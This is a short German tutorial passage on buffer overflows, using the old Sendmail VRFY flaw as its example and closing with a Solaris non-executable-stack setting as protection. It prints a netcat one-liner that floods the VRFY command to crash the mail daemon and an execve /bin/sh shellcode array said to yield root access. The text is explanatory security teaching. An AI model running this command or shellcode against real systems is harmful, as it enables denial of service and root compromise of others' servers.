Angenommen Ihr System geht davon aus, das Ihr Parameter (Eingabe; Übergabe) maximal 60 Zeichen umfasst. Was passiert in Ihrem Programm wenn der Parameter mehr als das angenommene hat ? In den meisten Programmiersprachen wird für den Buffer ein Speicherbereich angefordert in den dieser Parameter geschrieben wird. Dieser Speicherbereich hat nun eine vorgegeben Grösse. Hinter diesem reserviertem Bereich stehen die Daten der nächsten Variable oder ein Programmteil (was auch immer...).

Nun überschreibt der Parameter ( > 60 Zeichen) einen Teil des dahinterligenden Speichers. Im Normalfall bekommt der Anwender einen Absturz des Systems mit. Der Einbrecher jedoch kann dies ausnützen indem er diese Schwäche ausnützt. So geschen bei Sendmail im Bereich des VRFY Commands.
echo "vrfy" 'perl -e 'print "a" x 1000''" | nc www.targetsystem.com 25
Der Buffer des VRFY-Commands hat 128 Byte. Mit der übermittelden Anzahl von 1000 Byte stirbt der Sendmaildaemon (Denial of Service).
Schlimmer wird damit
:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x3e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\/bin/sh";


Der Angreifer erhält ROOT-ACCESS da der Sendmaildaemon (der gerade gestorben ist) mit Rootrechten läuft !!!!!

Schutz gegen solche Attacken (bei eigenen Programmen )

Solaris (mit Vorsicht zu genissen)

/etc/system

set noexec_user_stack=1
set noexec_user_stack_log=1